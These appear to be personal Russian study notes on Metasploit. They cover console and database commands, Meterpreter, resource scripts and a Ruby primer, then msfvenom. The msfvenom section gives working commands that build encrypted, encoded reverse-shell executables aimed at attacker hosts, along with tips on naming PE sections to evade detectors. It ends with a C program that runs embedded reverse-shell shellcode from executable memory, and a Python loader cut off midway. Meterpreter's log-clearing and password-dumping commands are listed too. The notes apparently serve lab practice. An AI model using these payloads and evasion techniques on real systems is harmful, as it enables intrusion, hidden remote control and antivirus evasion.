Metasploit

Общая информация

Бесплатный курс от разработчика MSF

Для обучения предлагается использовать metasploitable - виртуальную машину с набором уязвимостей.

Дополнительные инструменты для работы:

Структура фреймворка:

изображение.png

В Kali обычно установлен в /usr/share/metasploit-framework Модули расположены в директории modules, плагины - в plugins.

Auxiliaries: небольшие вспомогательные утилиты. Более 1000.

Payloads: нагрузка. Singles (однократная)- все в одном. Контейнер, содержащий все что нужно. Недостаток - размер. Stagers (минимальная) - только поднимает соединение, больше ничего нет. Stages - скачиваемый код после установки соединения. 

Exploits: более 2500, в 19 категорий. Для выбора необходимо знать операционную систему (включая точную версию и архитектуру), открытые порты, сервисы (включая версии).

Encoders: обфускация кода. Около 10 категорий.

NOP: отсутствие команды. Модифицирует эксплоит для снижения вероятности обнаружения

Post: модули дальнейших действий после взлома системы. 

Evasion: большинство нагрузок и шелл-кодов определяются антивирусом. Этот модуль для дополнительной модификации.

Команды

Общие команды

connect ip:port Пробное соединение
route Управление маршрутами.
save Сохраняет установленные параметры

Работа с модулями

search <sometext>

Поиск эксплойта по имени. Поддерживает регулярки. Можно комбинировать несколько, по И правилу.
search apache struts2 showcase

Можно ограничить поиск по именам модуля

msf > search name:mysql

Возможные ограничения: 

  • name - имя модуля
  • type - тип модуля
use <path> Перейти в модуль. Например, модуль сканирования портов: 
msf > use auxiliary/scanner/portscan/tcp
info Информация об эксплойте
show options Показать требуемые данному модулю параметры.
set <parameter> / unset Устанавливает локальное значение параметра / Убирает
get <parameter> Вывести параметр
getg Вывести глобальное значение параметра
setg Устанавливает глобальное значение параметра
run !Если это модуль! Запускает модуль с установленными параметрами
check Проверка настроек
exploit !Если это эксплоит! Запуск эксплойта
back Вернуться назад

История и команды

spool

off отключает логгирование результатов в файл

filepath включает логгирование в файл

makerc

Сохраняет вводимые команды. Аналогично spool

Функционал:

Дополнительные утилиты

msf-exe2vbs Конвертирует exe в VBScript
msf-exe2vba Можно выполнить даже в Excel
msf-pdf2xdp Pdf в xdp
msf-pattern_create Быстрое создание паттернов
msf-virustotal Проверка зловреда на virustotal

Управление данными

База данных

В Kali запускаем postgresql и инициализируем базу данных. Создадутся базы msf и msf_test.

root@kali:~# systemctl start postgresql
root@kali:~# msfdb init

Управление данными

db_status Статус соединения с базой
db_connect Подключиться к бд. Без параметров - к локальной. Может быть удаленная 
db_connect <user:[pass]>@<host:[port]>/<database> 
db_disconnect Отключение
db_export -f <format> [filename] Сохранение данных в файл. Формат xml или pwdump
db_import file1 [file2...] Импорт данных из файла. Может быть импорт в виде *.xml, или **/*.xml
db_rebuild_cache Пересчет кэша 

Рабочее пространство. Способ организации хранения связанных данных. 

workspace Список пространств. * текущее.
workspace -a Создать новое
workspace <name> Переключиться на рабочее пространство name
workspace -d Удалить

Таблицы

hosts

Обнаруженные хосты. IP-адрес, MAC-адрес, имя хоста, ОС, состояние, комментарии

services Сетевые сервисы. Порт, протокол (TCP/UDP), состояние (open/closed), имя сервиса, версия
vulns Уязвимости. Название, описание, ссылки, критичность, доказательства
notes Дополнительная информация о хостах и сервисах. Содержит Различные данные (учетные записи, собранная информация)
loot Извлеченные данные. Содержит: Хеши паролей, конфигурационные файлы, личные данные
creds Учетные данные для аутентификации. Содержит: Логины, пароли, хеши, тип аутентификации
workspaces Разделение проектов/задач
clients Клиентские системы. Содержит: Данные о браузерах, пользовательских агентах
events События. Содержит: Действия, выполняемые в рамках тестирования
exploited_hosts Успешные эксплуатации. Содержит: Данные о взломанных системах
sessions Открытые сессии. Содержит: Активные соединения с скомпрометированными системами
web_sites Веб-сайты. Содержит: URL, виртуальные хосты, SSL-информация
web_pages Веб-страницы. Содержимое страниц, формы, ссылки
web_forms HTML-формы. Поля форм, методы отправки
web_vulns XSS, SQLi, и другие веб-уязвимости

Ручное добавление данных: сначала создать объект, затем модифицировать его. 

msf > hosts -a 192.168.0.1
msf > hosts 192.168.0.1 -m "first node"
msf > hosts

Hosts
=====

address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
192.168.0.1                                                       first node

Как я понял, ручное добавление нечасто используется. 

Фильтрация

Ключ -S <term> Например 

msf > hosts -S 0.1

Hosts
=====

address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
192.168.0.1                                                       first node

При фильтрации важно указывать колонки -c поскольку поиск полнотекстовый.

Использование данных

В свойствах таблицы есть параметр, который можно использовать в инструментах/... Например, в таблице hosts есть параметр RHOSTS. 

msf > hosts -h
...
OPTIONS:
...
    -R, --rhosts                           Set RHOSTS from the results of the search
...

Это означает, что в случае использования в инструментах параметра RHOSTS его можно заполнить данными из БД. Пример запуска инструмента для хостов, отфильтрованных по 127. Параметр -R добавляет данные в параметр RHOSTS.  

msf > hosts
Hosts
=====
address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
127.0.0.1
192.168.0.1                                                       first node

msf > use auxiliary/scanner/portscan/tcp 

msf auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        22               yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf auxiliary(scanner/portscan/tcp) > hosts -c address -S 127 -R

Hosts
=====

address
-------
127.0.0.1

RHOSTS => 127.0.0.1

msf auxiliary(scanner/portscan/tcp) > show options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        22               yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds


View the full module info with the info, or info -d command.

msf auxiliary(scanner/portscan/tcp) > run
[*] 127.0.0.1             - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Сохранение данных в CSV

msf > hosts -S Linux -o /root/msfu/linux.csv

Архивация и восстановление данных

Архив: 

# В msfconsole
db_export -f xml full_backup.xml
# или
db_export -f json full_backup.json

Восстановление: 

db_import full_backup.xml

 

 

 

Exploits

Книга Metasploit: The Penetration Tester's Guide

Эксплоит — программа, эксплуатирующая уязвимости в системе. Примеры эксплоитов для модификации в разделе documentation/samples/modules/exploits/

Есть скрипт auto_pwn для автоматического поиска эксплойтов для существующих в базе хостов и известных служб.

 

Payloads

Проверять на https://virustotal.com

Нагрузка (payload) — часть эксплойта, выполняющаяся после успешной эксплуатации уязвимости. Типы нагрузок: 

Например, windows/shell_bind_tcp представляет собой единую полезную нагрузку без этапа, тогда как windows/shell/bind_tcp состоит из этапа (bind_tcp) и этапа (shell).

Генерация полезной нагрузки

Переходим в payload. Генерация командой generate. Опции: 

-E Ускоренное кодирование
-b Список символов для исключения '\x00\xff'. Например 
msf  payload(shell_bind_tcp) > generate -b '\x00'

При большом наборе исключаемых символов возможна ошибка "Payload generation failed: No encoders encoded the buffer successfully.". Это означает, что не найден энкодер для данного набора.

-e Энкодер По умолчанию происходит автоматический поиск наиболее подходящего энкодера. Выбор зависит от списка символов для исключения.
-i Количество итераций энкодера.
-o Разделенные запятыми параметры в виде парам=знач
-p Платформа
-s Количество добавляемых NOP
-f Имя файла. По умолчанию вывод в консоль.
-t Формат выходного файла: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
-x Шаблон используемого исполняемого файла
-k Сохранять функциональность используемого шаблона


 

Meterpreter

Динамически расширяемая нагрузка, использующая инъекцию в dll в памяти. Работает через сокет. Алгоритм работы:

Особенности:

Консоль meterpreter

Отдельная консоль для управления скомпроментированной системой. Команды:

Управление и исполнение файлов

cat Отображение файла
cd, pwd Переход и отображение текущей папки
execute Выполнить команду на системе
download Скачивает файл с скомпроментированной машины
upload Закачивает файл на удаленную машину
edit Редактирование файла на 
lpwd, lcd Отображение и смена рабочей директории
ls Список файлов и директорий
search поиск файлов


Сессия и система

background Перевод сессии в фон и возврат в консоль MSF. Для восстановления нужно подключиться к сессии 
msf>sessions -i 1
ipconfig Конфигурация сети
idletime Время работы системы
migrate Мигрировать на другой процесс
ps Список процессов
shell Удаленная консоль

Windows-специфические команды

hashdump Дамп базы паролей Windows
clearev Очистка логов журналов Application, System, and Security на Windows


Web камера

webcam_list Список web камер
webcam_snap Фото с камеры

Интерпретатор python

load_python Загрузить интерпретатор
python_import Импортировать модуль
python_execute Выполнить скрипт
python_reset Сброс интерпретатора

 

 

 

 

 

Автоматизация MSF

Ресурсные скрипты

Аналог bash скриптов для msf. Текстовые файлы с расширением rc, выполняются консолью msf построчно. Можно создать скрипт из введенных команд 

Запуск

Из существующего где-то файла: 

msfconsole -r /path/to/script/attack.rc param1 param2

Их скрипты размещаются в /usr/share/metasploit-framework/scripts/resource

msf > resource /path/to/script param1 param 2

Можно сохранить последние введенные команды. ! ~ не работает, нужен полный путь ! 

msf > makerc /home/kali/lessons_ruby/myscript.rc

makerc запоминает, какие команды уже были сохранены. Поэтому если сразу же повторить предыдущую команду, то будет сообщение [-] No commands to save! 

Добавление Ruby

В данные скрипты можно добавлять скрипты на Ruby: 

workspace -a http_title
db_nmap -Pn -T4 -n -v -p 80 --open 192.168.33.0/24
use auxiliary/scanner/http/title
<ruby>
run_single("set RHOSTS #{framework.db.hosts.map(&:address).join(' ')}")
</ruby>
run

Скрипты расположены в /usr/share/metasploit-framework/scripts/resource 

Вариант для python:

pip install pymetasploit3

Пример скрипта:

from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('your_password', port=55553)

# Запуск сканирования
scan = client.modules.use('auxiliary', 'scanner/portscan/tcp')
scan['RHOSTS'] = '192.168.1.1-100'
scan['PORTS'] = '1-1000'
scan['THREADS'] = '20'

result = scan.execute()
print(result)

# Получение результатов из БД
for host in client.db.hosts():
    print(f"Host: {host['address']}")
    for service in client.db.services(host['address']):
        print(f"  Port: {service['port']}/{service['proto']} - {service['state']}")

Ruby

Установка: apt install ruby-full

rbenv - 

Все объекты. Без аргументов функция не требует наличия скобок. Доступа к свойствам объекта нет, через методы. Динамическое типизирование. 

1.class # Выводит класс объекта, в данном случае Fixnum

Типы данных

Целые числа

3.times {print "r"} повтор действия 3 раза
1.upto(9) { |x| print x }  вывод 123456789 

Строки. Одинарные кавычки - все символы, в двойных можно подставлять значения.

Многострочный текст

message = <<~TEXT
  This is a multi-line string
  that preserves formatting
  in a tidy way.
TEXT

Есть символы (Symbols) - строки, но фиксированные. Начинаются с :. Например :fucktheruby. Используются в ключах словарей для быстрого доступа.

Массивы (аналог списков python)

a[1] - обращение к 1 элементу массива.

a = [3, 2, 1]
a.each do |elt|
  print elt + 1
end

a.each Для каждого элемента
a,map {} Изменение массива по правилам. 
b = a.map { |x| x*x } # Возведение в квадрат каждого элемента
a.select выбор элементов в соответствии с правилами. 
b = a.select { |x| x%2==0 }

Хэши Аналог словарей в python.

h = {
  :one => 1,
  :two => 2
}
h[:one]
h.each do |key, value| 
 print "#{value} у ключа #{key} " # выведет 1 у ключа one 2 у ключа two 
end

instrument_section = {
"cello" => "string",
"clarinet" => "woodwind",
"drum" => "percussion",
"oboe" => "woodwind",
"trumpet" => "brass",
"violin" => "string"
}

Блядь, если использовать такой синтаксис, то оно создаст ключ Symbol.
instrument_section = {
cello: "string"
}
x = instrument_section[:cello]

Методы

print 

puts

Вывод значений

ARGV[0]

Первый аргумент при вызове скрипта

Операторы

x = 1
x, y = 1, 2
x += 1
1..3 # набор значений от 1 до 3
1...3 # набор значений от 1 до 2
generation = case birthyear
              when 1946..1963: "Поколение 1"
              else nil
              end
# Регулярки
def areyoushure?
  while true
    print "Вы уверены"
    response = gets 
    case response
      when /^[Yy]/
        return true
      when /^Nn/, /^$/
        return false
      end
  end
end

line = gets
if line =~ /Ruby|Rust/
puts "Programming language mentioned: #{line}"
end

line = gets
if line.match?(/Ruby|Rust/)
puts "Scripting language mentioned: #{line}"
end

line = gets
newline = line.sub(/Python/, 'Ruby') # replace first 'Python' with 'Ruby'
newerline = line.gsub(/Python/, 'Ruby') # replace every 'Python' with 'Ruby'

Условные операторы 

today = Time.now
if today.saturday?
puts "Do chores around the house"
elsif today.sunday?
puts "Relax"
else
puts "Go to work"
end

puts "Danger, Will Robinson" if radiation > 3000

Блоки. Без комментариев. Являются аргументами для методов. 

def call_block
puts "Start of method"
yield
yield
puts "End of method"
end
call_block { puts "In the block" }

Выведет:
Start of method
In the block
In the block
End of method

В | | передаются параметры блока. Например 

def who_says_what
yield("Dave", "hello")
yield("Andy", "goodbye")
end
who_says_what { |person, phrase| puts "#{person} says #{phrase}" }

Похоже 

Классы

Все классы расширяемы внутри приложения. Термин Instance = Object

.new Конструктор объекта.

Методы (функции) Если это вне класса, то глобальная функция. Возвращает последнее вычисляемое значение. 

def square(x)
  x*x
end

def multireturn
  x, y = 1,2
  [x, y]
end

Если метода нет, вызывается специальный метод method_missing. По умолчанию исключение. Его можно переопределить. 

class Greeting
  def method_missing(name, *args)
    "Привет из #{name}"
  end

  def respond_to_missing?(name, include_private = false)
    true
  end
end

g = Greeting.new
g.respond_to?(:hello)   # => true
puts g.hello            # => "Привет из hello"

Префиксы и постфиксы. Вроде упрощает язык, но походу хуета на уровне выебнуться. Отказались от одного, ввели другое.

Имена классов, модулей и констант с большой буквы. Локальные переменные, параметры методов и имена методов только с маленькой буквы. Глобальные переменные - префикс $. переменные объекта - @, переменные класса - @@

Если имя метода заканчивается на равно, то можно использовать синтаксис 

# некий класс, в котором есть метод x= и нужно туда передать значение 1
o.x=(1) # как оно обычно вызывается
o.x = 1 # так тоже можно. Типа крутая фича. Закрыли свойства, зато сделали ЭТО

На знак вопроса - возвращается только булево значение

На восклицательный знак - метод меняет объект. Например метод .sort массива возвращает отсортированный массив, тогда как метод .sort! сортирует существующий объект.

Синглтоны - методы, добавляемые к существующему классу или единичному объекту. (Ебанутая херня, хотя позиционируется как ключевая).  

def Math.square(x)
  x*x
end

Описание класса

Пример класса, создающего элементы с шагом. 

class Sequence
  include Enumerable

  def initialize(from, to, delta)
    @from, @to, @delta = from, to, delta
  end

  def each
    x = @from
    while x <= @to
      yield x
      x += @delta
      end
  end

  def length
    return 0 if @from > @to
    Integer((@to - @from)/@delta) + 1)
  end

  alias size length # алиас на метод size

  def [](index) # переопределение метода получения доступа к элементам массива
    return nil if index < 0
    v = @from + index * @delta
    if v <= @to
      v
    else
      nil
    end
  end

  def *(factor) # переопределение операции умножения над объектом
    Sequence.new(@from*factor, @to*factor, @delta*factor)
  end

Модули

Набор функций.

module Sequence
  def self.fromtoby(from, to, delta)
    x = from
    while x <= by
      yield x
      x += delta
      end
  end
end

MSFvenom & nasm

Offensive Shellcode from Scratch: Get to grips with shellcode countermeasures and discover how to bypass them

 

Консоль nasm служит для получения opcode для команд. 

MSFvenom

Инструмент для генерации shellcode, исполняемых файлов, и т д, для использования эксплойтов снаружи msf. Основной элемент настройки - payload поэтому около него все крутится. 

Энкодер. MSFvenom берёт исходный payload и пропускает его через encoder, который меняет последовательность байтов, но добавляет в начало декодер — небольшой фрагмент кода, который при запуске восстанавливает исходный шеллкод в памяти и выполняет его. 

x86/shikata_ga_nai - часто используемый, универсальный энкодер.

Шифрование нагрузки. Полученный payload шифруется (scramble) побайтно. В результат добавляется декриптор/загрузчик, который при запуске расшифровывает payload в памяти и затем выполняет его. Отличие от энкодеров:

# пример: зашифровать RC4 и задать ключ
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  --encrypt rc4 --encrypt-key 'mysecretkey' -f exe -o payload.exe

# пример AES (названия алгоритмов зависят от версии msfvenom)
msfvenom -p ... --encrypt aes256 --encrypt-key '32_byte_key_here' -f raw -o out.bin

Важные нюансы и ограничения

Проверка

Шифрование и кодирование может применяться вместе. 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 \
  --encrypt rc4 --encrypt-key 'mysecret' \
  -b '\x00\x0a\x0d' -f exe -o payload.exe

Просмотр информации


-l, --list <type>

Список модулей указанного типа. Варианты типов: payloads, encoders, nops, platforms, archs, encrypt, formats, all 

msfvenom -l platforms # список платформ под которые что-то есть

Можно дополнительно фильтровать по свойствам:

--platform платформа

--arch архитектура

msfvenom -l payloads --platform bsd --arch x86
--list-options

Список опций для данной нагрузки. 

msfvenom --payload bsd/x86/metsvc_bind_tcp --list-options
Настройка нагрузки
-p, --payload <payload> Нагрузка для использования
-t, --timeout <second>

Сколько секунд инструмент будет ждать при чтении полезной нагрузки (payload) из STDIN.

cat payload.bin | msfvenom -p - -t 10 -f raw -o out.bin

То есть, можно взять свой бинарный файл и его например закодировать. 0 - бесконечно (ждем сколько надо). 

-s, --space <length> Максимальный размер результирующей нагрузки. 




Настройка энкодера
-e, --encoder <encoder> Используемый энкодер.
--encoder-space <length> Максимальный размер закодированной нагрузки, по умолчанию значение -s
--smallest Сгенерировать минимально возможную по размеру нагрузку, используя все возможные encoders. Видимо не сочетается с -e.
-i, --iterations <count> Количество проходов энкодера
-b, --bad-chars <list>

Набор байтов (символов), которые нужно избегать в сгенерированном shellcode.

  • Нуль-байт \x00 и другие символы могут обрываться строковые функции в целевой программе (строка/буфер) — тогда шеллкод не выполнится.
  • Фильтры/функции ввода на стороне цели могут удалять или преобразовывать некоторые байты (например \x0a — LF, \x0d — CR).
  • Некоторые протоколы/форматы не допускают определённые байты (URL, текстовые поля, параметры командной строки и т.п.).

Как указывать

Примеры в bash: 

msfvenom -p ... -b '\x00\x0a\x0d' -f raw -o payload.bin

Важно: экранирование зависит от оболочки (в PowerShell/Windows CMD нужно иное экранирование).

 

В начало добавляется декодер-стаб (который тоже должен не содержать bad-chars), поэтому выбирается энкодер и/или увеличить число итераций (-i) чтобы получить корректный результат.

Ограничения.

  • Не всегда возможно устранить все указанные байты: при строгом наборе запрещённых символов или при слишком большом payload'е msfvenom может не найти рабочую комбинацию — тогда появится ошибка или payload не соберётся.
  • --bad-chars применим к raw шеллкоду; при генерирации exe, apk и вставке payload в контейнерный формат, дополнительные байты могут появиться в заголовках/шаблоне — их тоже надо учитывать.
  • Ограничение увеличивает размер шеллкода и уменьшает количество доступных энкодеров.
  • Нельзя запретить «символы многобайтовой архитектуры» — вы указываете конкретные байты 0x00..0xff.

Проверка результата

#!/usr/bin/python3
bad = {0x00, 0x0a, 0x0d}
data = open('payload.bin','rb').read()
found = sorted(set(b for b in data if b in bad))
print([hex(x) for x in found] or "No bad chars found")

Советы

  • Начинайте с минимального набора 
  • Если msfvenom не справляется, пробуйте другой энкодер или комбинацию энкодеров/итераций (-i).
  • Для текстовых ограничений есть специализированные «алфавитные»/ASCII-энкодеры (например alpha2) — они создают шеллкод, содержащий только допустимые символы, но это сильно увеличивает размер.

Часто используемый минимум

  • \x00 — нуль-байт: обрывает C-строки / строки в многих API.
  • \x0a — LF (line feed, \n): завершает строку в текстовых вводах/протоколах.
  • \x0d — CR (carriage return, \r): вместе с LF важен в протоколах; часто фильтруется.

Это самые распространённые, их почти всегда добавляют в --bad-chars.

Дополнительные байты в зависимости от вектора

  • В командной строке / аргументах процесса \x20 (space), \x22 ("), \x27 ('), \x5c (\)  пробел и кавычки могут ломать парсинг аргументов или экранирование.
  • В HTTP / URL контекстах \x2f (/), \x3f (?), \x26 (&), \x3d (=), \x25 (%), \x2b (+)  специальные символы в URL/GET-параметрах; некоторый ввод URL-энкодируется.
  • В файлах путей / файловых полях \x2f (/), \x5c (\), \x3a (:) — разделители путей, двоеточие и т.п.
  • В XML / HTML < (\x3c), > (\x3e), & (\x26), " (\x22), ' (\x27) — могут испортить разметку или вызвать экранирование.
  • В SQL-контекстах ' (\x27) — закрывает строки в SQL; также ; (\x3b) — разделитель команд.
  • В Base64 / MIME / почтовых полях = (\x3d) — padding в Base64, \r\n последовательности — важны для заголовков.
  • В текстовых полях, где обрезают по контрол-символам \x00.. \x1f (контролы: NUL, BEL, TAB, ESC и т.д.) — часто фильтруются или воспринимаются как спецсимволы. Особенно: \x09 (TAB) может вести себя непредсказуемо.

Специальные случаи и алфавиты

  • Алфавитные (alpha) ограничения: иногда доступен только набор печатных ASCII (A–Z, a–z, 0–9). Для таких случаев есть специальные энкодеры (alpha_upper, alpha_mixed), но размер растёт.
  • Unicode/UTF-16: если приложение принимает UTF-16, нужно учитывать нулевые байты между символами (и т.д.).
Настройка шифрования


--encrypt <value>

Тип шифрования payload

--encrypt-key <value>

Ключ шифрования

--encrypt-iv <value>

Вектор инициализации для шифрования.

NOP


-n, --nopsled <length>

Вставляет зону заполнения инструкциями «NOP» перед основным shellcode, чтобы при попадании управления в произвольное место этой зоны с вероятностью выше попасть в начало шеллкода.


Полезно при эксплуатациях (buffer overflow, return‑oriented jump и т.п.) — создаёт «landing zone», повышая шанс успешного перехода на рабочий код.

Зачем нужен

  • При эксплойтах часто точно угадать адрес сложно; NOP‑sled даёт запас: управление может «упасть» в любую точку sled‑а и «скольжением» дойти до реального шеллкода.
  • Удобно для тестов/демо и в ситуациях, где вы вклю́чаете payload в нестабильный буфер.

Пример использования (вставляем 64 байта NOP перед payload): 

msfvenom -p windows/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 -f raw -n 64 -o payload.bin

В результате файл payload.bin начнётся с 64 NOP‑байтов, затем пойдёт декодер/сам payload.

Важные нюансы

  • Размер. NOP‑sled увеличивает итоговый размер payload — учитывайте ограничения целевого буфера.
  • bad‑chars. Байты, используемые для NOP‑sled, тоже должны не попадать в --bad-chars; иначе sled будет содержать запрещённые символы.
  • Архитектура. NOP‑инструкция зависит от архитектуры (x86/x64/ARM и т.д.). msfvenom подставляет подходящую «nop» по умолчанию.
  • Альтернативы NOP. В ограниченных алфавитах часто используют «полезные» sled‑паттерны (например series of short jumps, INC/DEC tricks или специальные „NOP–генераторы“), потому что обычный \x90 может быть запрещён.
  • Выравнивание. В некоторых сценариях важна выравненность инструкций (особенно на ARM/Thumb) — просто добавлять байты вслепую — риск; проверяйте на целевой архитектуре.
  • Не панацея. NOP‑sled помогает только при нестрогом контроле адреса; в ряде случаев лучше управлять точным возвратом/переписыванием указателей.

Проверка 

#!/usr/bin/python3
data = open('payload.bin','rb').read()
print(data[:16].hex())   # покажет первые 16 байт (должны быть NOP)
--pad-nops

Использует размер nopsled, указанный с помощью -n <длина>, в качестве общего размера полезной нагрузки, автоматически добавляя nopsled количества (nops минус длина полезной нагрузки).

Дополнительные настройки
--platform <platform> Платформа для payload
-a, --arch <arch> Архитектура для payload или encoders
--service-name <value> Имя сервиса при генерации бинарника для сервиса.
-v, --var-name <value>

Имя переменной, которое будет использоваться в сгенерированном исходном коде (например для типов файла -f c, -f python, -f ruby, -f perl и т.п.). Удобно при встраивании shellcode в исходный файл.

Когда применяется

  • Для генерирующих исходный код форматов (C, Python, Ruby, Perl, PowerShell и др.).
  • Не применимо для бинарных форматов вроде raw, exe (в смысле имени переменной — там нет переменной в коде).

Примеры

C:

msfvenom -p linux/x86/shell_reverse_tcp \ 
LHOST=10.0.0.1 LPORT=4444 -f c -v shellcode

Результат (фрагмент) будет содержать:

unsigned char shellcode[] = 
"\x31\xc0\x50\x68..."
;
unsigned int shellcode_len = 123;

Python: 

 msfvenom -p python/meterpreter/reverse_tcp \
 LHOST=10.0.0.1 LPORT=4444 -f python -v payload_bytes

Результат: 

payload_bytes =  b""
payload_bytes += b"\x31\xc0\x50\x68..."

Ограничения и советы

  • Имя должно быть валидным идентификатором для целевого языка (буквы/цифры/подчёркивание; не начинать с цифры). msfvenom обычно не будет проверять/исправлять сложные/некорректные имена — лучше самому дать корректное.
  • Если не указывать, msfvenom подставит стандартное имя (часто buf или имя по формату).
  • Полезно для автоматизации/шаблонов: если у вас несколько вставок shellcode в одном файле — задавайте уникальные имена (stage1, stage2, injector).
Объединение кода
-x, --template <path>

Бинарник, в который нужно добавить созданную нагрузку. Не изменяет существующую логику бинарника. Т е заменяется некая часть. Не подходит для инъекции в любые приложения.

-k, --keep Сохранить шаблон, а payload добавить в новый поток.

--sec-name <value>

Имя новой секции (section) PE-(Windows)-файла, в которую msfvenom размещает большой payload при генерации исполняемого файла. По умолчанию случайное 4 символьное слово. Актуально если payload не помещается в существующие секции шаблона, msfvenom создаёт дополнительную секцию в PE-образе; --sec-name позволяет задать имя секции вместо случайного.

  • Опция применяется при генерации больших Windows-бинарников (формат exe и т.п.), особенно если вы используете --template или payload большой
  • PE-формат не более 8 символов в имени секции в исполняемом образе
  • Задает имя, выглядящее «легитимно» (например, .rdata, .data, .text) для маскировки секции, или специальное название для отладки/анализa.
  • Некоторые детекторы обращают внимание на «необычные» имена секций и изменённую структуру PE, возможно стоит установить. 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
 -f exe --template /path/to/stub.exe --sec-name .msf -o payload.exe
-c, --add-code <path>

Добавляем дополнительный shellcode. Это позволяет сложить несколько шэллкодов в один. 
msfvenom берёт файл с raw-shellcode (обычно в бинарном формате) и вставляет/добавляет его в генерируемый шеллкод/файл как дополнительный блок кода.

Это полезно, если нужно включить заранее подготовленный код (например, MessageBox-демо, кастомный инжектор, bootstrap-stub и т.п.) вместе с payload от Metasploit. 
Важные нюансы и ограничения

  • Формат/архитектура. Файл, который вы передаёте через -c, должен содержать shellcode той же архитектуры/платформы (x86/x64/ARM и т.д.), что и основной payload — иначе получившийся бинарник не будет работать.
  • Raw-формат. Обычно это raw (сырые байты) shellcode, а не EXE/APK.
  • Размер. Итоговый payload увеличится на размер добавленного кода — учтите это при вставке в шаблон с ограниченными секциями.
  • Bad-chars / энкодеры. Дополнительный код тоже должен соответствовать ограничениям --bad-chars и выбранному энкодеру — декодер/энкодер должен быть совместим с обоими кусками кода. Иначе msfvenom может не суметь корректно закодировать финальную последовательность.
  • Совместимость с шаблонами. При встраивании в exe/apk/другие форматы проверьте, как шаблон обрабатывает дополнительные данные — иногда придётся использовать --template/--sec-name и т.п. 
Настройки результата
-o, --out <path> Путь и имя создаваемого файла
-f, --format <format> Формат создаваемого файла

Объединение нагрузки и своего кода.

Задача: собрать объединенный бинарник, из first_copy.out (выводит ждет ввода данных и reverse shell из metasploit). Новый бинарь закинуть обратно на существующую машину. 

Интересный проект https://github.com/secretsquirrel/the-backdoor-factory?tab=readme-ov-file

Подготовка. Для проверки работы запустим listener на Kali и будем ждать соединения.

msf> use exploit/multi/handler
msf> set payload linux/x64/shell_reverse_tcp
msf> set LHOST 192.168.1.189
msf> exploit

Просто генерация кода работает. Но дальше - болт. Предположения в части шаблонов, добавления сегмента и объединения кода как-то плохо пошли. Чего-то базового не понимаю. Похоже, инжектировать код в абстрактную программу довольно сложный процесс. Однако это критичная задача. Начнем с малого. 

Добавление нагрузки в виде шелл-кода в исходный код

Создаем код: 

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.189 LPORT=4444 --arch x64 --platform linux -f c

Оно выведет кусок кода, который нужно вставить и выполнить.

Последовательное исполнение, C: 

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

int main() {
    // Шеллкод для linux/x64/shell_reverse_tcp
    unsigned char shellcode[] = 
        "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
        "\xb9\x02\x00\x11\x5c\xc0\xa8\x01\xbd\x51\x48\x89\xe6\x6a\x10"
        "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
        "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
        "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
    
    printf("Shellcode length: %zu\n", strlen(shellcode));
    
    // Выделяем исполняемую память
    void *exec = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC, 
                     MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(exec, shellcode, sizeof(shellcode));
    
    // Выполняем
    ((void(*)())exec)();
    
    return 0;
}

Создается бинарник без доп. команд, 

gcc -o third third.c

Shell код выполняется и программа в любом случае завершается, вне зависимости от дальнейших C команд, т.к. в генерируемом shell коде нет адреса возврата. То есть бинарник-то может быть большим, но после перехода в старт исполнения из памяти, последующее работать не будет.

Последовательное выполнение, Python 

#!/usr/bin/env python3
import ctypes
import mmap

# Шеллкод из msfvenom
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"

def execute_shellcode(shellcode):
    # Выделяем исполняемую память
    executable_memory = mmap.mmap(-1, len(shellcode), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
    executable_memory.write(shellcode)
    
    # Получаем указатель на память
    ctypes_buffer = ctypes.c_void_p.from_buffer(executable_memory)
    
    # Преобразуем в функцию
